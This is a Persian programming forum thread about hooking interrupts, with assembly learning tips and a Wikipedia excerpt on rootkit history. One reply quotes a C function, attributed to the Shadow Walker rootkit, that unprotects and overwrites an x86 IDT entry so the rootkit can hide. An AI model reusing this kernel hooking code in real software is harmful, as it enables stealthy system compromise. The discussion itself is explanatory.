PDA

View Full Version : Hook کردن وقفه ها



mehdi-es
سه شنبه 11 بهمن 1390, 16:18 عصر
سلام یکی می تونه این قضیه رو به صورت ساده ومفید توضیح بده؟
hook کردن وقفه ها (بیشترموضوعاتی که ویروس ها انجام میدن) وکلا اصطلاح hook رو اگه معنی کنید ممنون میشم.

IamOverlord
سه شنبه 11 بهمن 1390, 18:10 عصر
اصطلاح Hook کردن یعنی قلاب انداختن.
به طور کلی Hook کردن یعنی این که تو یه کد واسطه وسط راه بذاری. با یه مثال ساده توضیح می دم.
برای این که Windows پنجره ای رو که ساختی، از رویداد هاش مطلع کنه، باید آدرس یه روال رو بهش بدی. یعنی این که بگی فلان روال که این آدرس رو داره، باید از رویداد های فلان پنجره ی ساخته شده مطلع بشه؛ پس هر وقت اتفاقی افتاد (مثلا حرکت ماوس روی پنجره یا کلیک روی دکمه ی ضربدر برای بستن پنجره یا ...)، Windows یه Window Message به روال پنجره ات می فرسته، پارامتر اول hWnd پنجره ی مورد نظر هست و پارامتر های بعدی هم مربوط به Window Message هستن. حالا تو فرض کن، تو بیای یه روال دیگه ای رو به Windows معرفی کنی و به Windows بگی از این به بعد پیام ها رو به روال دلخواه من بفرست نه به روالی که قبلا بوده؛ بعد تو می تونی جاسوسی کنی و از اتفاقات فلان پنجره مطلع بشی و حتی پس از پایان کارت همون پیام هایی که از Windows گرفتی رو به روال قبلی که مسئول دریافت پیام بود بفرستی، یعنی تو این وسط واسطه و جاسوس بشی، به این جور کارا می گن Hook کردن، که این یکی از انواعش هست، روش های دیگه ای مثل تزریق (Injection) کد هست که باز هم کد تو واسطه می شه...
en.wikipedia.org/wiki/Hooking (http://en.wikipedia.org/wiki/Hooking)

xman_1365_x
چهارشنبه 12 بهمن 1390, 16:15 عصر
تاپیک تکراری هست برای اطلاعات بیشتر جستجو کنید
مقاله آفای محمد شمس رو ضمیمه میکنم مطالعه کنید
81862

xman_1365_x
چهارشنبه 12 بهمن 1390, 16:21 عصر
به آخر جملتون یعنی وقفه ها توجه نکردم
برای این کار برنامه های tsr نوشته میشه که میتونید در کتاب سید رضی و فیض ... خاکپور مشاهده کنید. کتاب دوم تخصصی تر هست و سوال شمارو با نوشتن ویروس جواب میده!
نمونه های زیادی در گوگل هست جستجو کنید.
موفق باشی

r00tkit
چهارشنبه 12 بهمن 1390, 16:41 عصر
سلام
ویروس ها نمی تونن این کار انجام بدن ، معمولا این کار توسط rootkit ها انجام می شه ( البته به راحتی هم شناسایی می شن )
من کتاب های بالا رو نخوندم و نمی دونم توی چه محیط داره وقفه ها رو هوک می کنه ( DOS یا windows ) در کل توی ویندوز باید یه درایرو بنویسی تیکه کد زیر برای rootkit شادو والکر هستش که این کار رو انجا می ده : برای درک بیشتر توصیه می کنه کتاب rootki arsenal رو بخونی ( برای شروع چیز خوبیه )

این rootkit با هوک کردن E خودش رو مخفی می کرد :) ایدش خیلی جالب بود :)

Hooks an x86 interrupt in the interrupt descriptor table.

int HookInt( unsigned long* pOldHandler, unsigned long NewHandler, int IntNumber )
{
IDT_INFO IdtInfo = {0};

__asm cli //disable interrupts

//get the base address of the IDT
__asm sidt IdtInfo.wLimit

//un-write-protect the IDT if it is write protected
PVOID pInt = &IdtInfo.pIdt[IntNumber];
PPTE pPteIdt = GetPteAddress( pInt );

if( ((int)pPteIdt != ERROR_PTE_NOT_PRESENT) && ((int)pPteIdt != ERROR_PAGE_NOT_PRESENT) ) //the idt should never be "not present", but playing it safe
{
ULONG oldPteIdt = (ULONG)*pPteIdt;
MarkPageReadWrite( pPteIdt );
__asm invlpg pInt

//save the old interrupt handler
*pOldHandler = (unsigned int)IdtInfo.pIdt[IntNumber].OffsetHi << 16
| IdtInfo.pIdt[IntNumber].OffsetLo;

//install the new handler
IdtInfo.pIdt[IntNumber].OffsetLo = (unsigned short)NewHandler;
IdtInfo.pIdt[IntNumber].OffsetHi = (unsigned short)((unsigned int)NewHandler >> 16);

//restore the old writability of the idt
(ULONG)*pPteIdt = oldPteIdt;
__asm invlpg pInt

__asm sti //reenable interrupts
return true;
}//end if

__asm sti
return (int)pPteIdt;
}//end HookInt

caspianhero
چهارشنبه 12 بهمن 1390, 19:16 عصر
با سلام

بهترین کتاب اموزش اسمبلی چی هست؟؟؟؟

تشکر

IamOverlord
چهارشنبه 12 بهمن 1390, 20:02 عصر
اول برای راه افتادن PDF ها و منابع فارسی رو بخونید، بعد Art of Assembly Language رو پیشنهاد می کنم PDF اش رو بخونید...:متفکر:

caspianhero
پنج شنبه 13 بهمن 1390, 14:47 عصر
کلا به نظر شما اسمبلی بهتر هست یا سی برای مسائل امنیتی ؟؟؟ کد نویسی با کدام راحتر هست؟؟؟؟؟

سپاس

mehdi-es
پنج شنبه 13 بهمن 1390, 17:27 عصر
ازهمه عزیزانم ممنونم

IamOverlord
پنج شنبه 13 بهمن 1390, 18:14 عصر
کلا به نظر شما اسمبلی بهتر هست یا سی برای مسائل امنیتی ؟؟؟ کد نویسی با کدام راحتر هست؟؟؟؟؟

سپاس

در کل این مقایسه خیلی سخت یا نامعقول هست...
ولی در Assembly کاری نیست که نتونی بکنی، البته در C هم همین طور ولی یادگیری Assembly در زبان های دیگه هم خیلی کمکت می کنه. نمی خوام بگم کد نویسی در Assembly سخت تر از C هست، چون ممکنه به Assembly یه سری macro و فایل هایی رو برای include اضافه کنی که از زبان C هم راحت تر بتونی فلان کارو کنی! نمی دونم HLA رو دیدی یا نه، اگه دیده باشی منظورمو می گیری...

caspianhero
پنج شنبه 13 بهمن 1390, 20:48 عصر
ولی به نظر من اسمبلی خیلی جذاب و شیرینتر از زبان سی هست:لبخند:

caspianhero
پنج شنبه 13 بهمن 1390, 20:50 عصر
راستی دوستان کسی یک کامپایلر خوب برای زبان اسمبلی سراغ داره که کار باهاش اسان باشه و راهنما فارسی هم براش باشه؟؟؟؟:متفکر:

IamOverlord
پنج شنبه 13 بهمن 1390, 22:51 عصر
ولی به نظر من اسمبلی خیلی جذاب و شیرینتر از زبان سی هست:لبخند:

من هم می خواستم همینو بگم ولی فکر کردم شاید بگی اغراق می کنه...!

ضمنا اگه FASM رو یاد بگیری هم می تونی توش شبیه به NASM بنویسی، هم شبیه به MASM. خوش هم یه راهنما داره به انگلیسی. اما متاسفانه تو منابع فارسی چیزی ازش گیر نمی آری. (در عوض پر از مطلب در مورد TASM گیر می آری!!!)
اما نگران یادگیریش نباش چون هر PDF فارسی ای رو که در مورد Assembly بخونی به راحتی می تونی کد FASM اش رو بنویسی!
ضمنا کار باهاش برای مبتدی ها خیلی آسون تره:
1. چون یه Editor برای Windows داره که همون جا کد رو می زنی بدون دنگ و فنگ با F9 اجرا می کنی.
2. خودش Link می کنه در جا بهت exe می ده! (یا حتی format های دیگه)
...

ضمنا یه کتابخانه برای تسهیل کدنویسی هم زمان برای Linux، DOS و Windows داره به نام FASMLIB. (البته در Assembler های دیگه هم می شه ازش استفاده کرد)

caspianhero
جمعه 14 بهمن 1390, 10:38 صبح
از کجا باید دانلود کنم؟؟؟ هر چی گشتم نتونستم گیر بیارم؟؟!!!!!!!!!
اصلا کامپایلر های اسمبلی گیر نمیاد!!!!:گریه:

IamOverlord
جمعه 14 بهمن 1390, 11:11 صبح
باید جست و جو کنی : Flat Assembler (http://www.google.com/#hl=en&cp=8&gs_id=u&xhr=t&q=flat+assembler&pf=p&output=search&sclient=psy-ab&pbx=1&oq=flat+ass&aq=0&aqi=g4&aql=&gs_sm=&gs_upl=&bav=on.2,or.r_gc.r_pw.r_qf.,cf.osb&fp=3d20a8eb90f0a6e6&biw=1360&bih=667)
برای FASM چیزای بی ربط می آره!

xman_1365_x
یک شنبه 07 اسفند 1390, 23:41 عصر
http://en.wikipedia.org/wiki/Rootkit


History
The first documented computer virus to target the PC platform, discovered in 1986, used cloaking techniques to hide itself: the Brain virus intercepted attempts to read the boot sector, and redirected these to elsewhere on the disk, where a copy of the original boot sector was kept.[1] Over time, DOS-virus cloaking methods became more sophisticated, with advanced techniques including the hooking of low-level disk INT 13H BIOS interrupt calls to hide unauthorized modifications to files.[1]
The term rootkit or root kit originally referred to a maliciously-modified set of administrative tools for a Unix-like operating system that granted "root" access.[2] If an intruder could replace the standard administrative tools on a system with a rootkit, the intruder could obtain root access over the system whilst simultaneously concealing these activities from the legitimate system administrator. These first generation rootkits were trivial to detect by using tools such as Tripwire that had not been compromised to access the same information.[3][4] Lane Davis and Steven Dake wrote the earliest known rootkit in 1990 for Sun Microsystems' SunOS UNIX operating system.[5] Ken Thompson of Bell Labs, one of the creators of Unix, subverted the C compiler in a Unix distribution and discussed the exploit in the lecture he gave upon receiving the Turing award in 1983. The modified compiler would detect attempts to compile the Unix "login" command and generate altered code that would accept not only the user's correct password, but an additional password known to the attacker. Additionally, the compiler would detect attempts to compile a new version of the compiler, and would insert the same exploits into the new compiler. A review of the source code for the "login" command or the updated compiler would not reveal any malicious code.[6] This exploit was equivalent to a rootkit.
The first malicious rootkit for the Windows NT operating system appeared in 1999: a trojan called NTRootkit created by Greg Hoglund.[7] It was followed by HackerDefender in 2003.[1] The first rootkit targeting Mac OS X appeared in 2009,[8] while the Stuxnet worm was the first to target programmable logic controllers (PLC).[9]



dos-virus
0-boot virus(mbr/bs)
1-overwriting virus
2-non-overwriting virus



malware->
rootkit
win-linux-mac & etc

83371
83372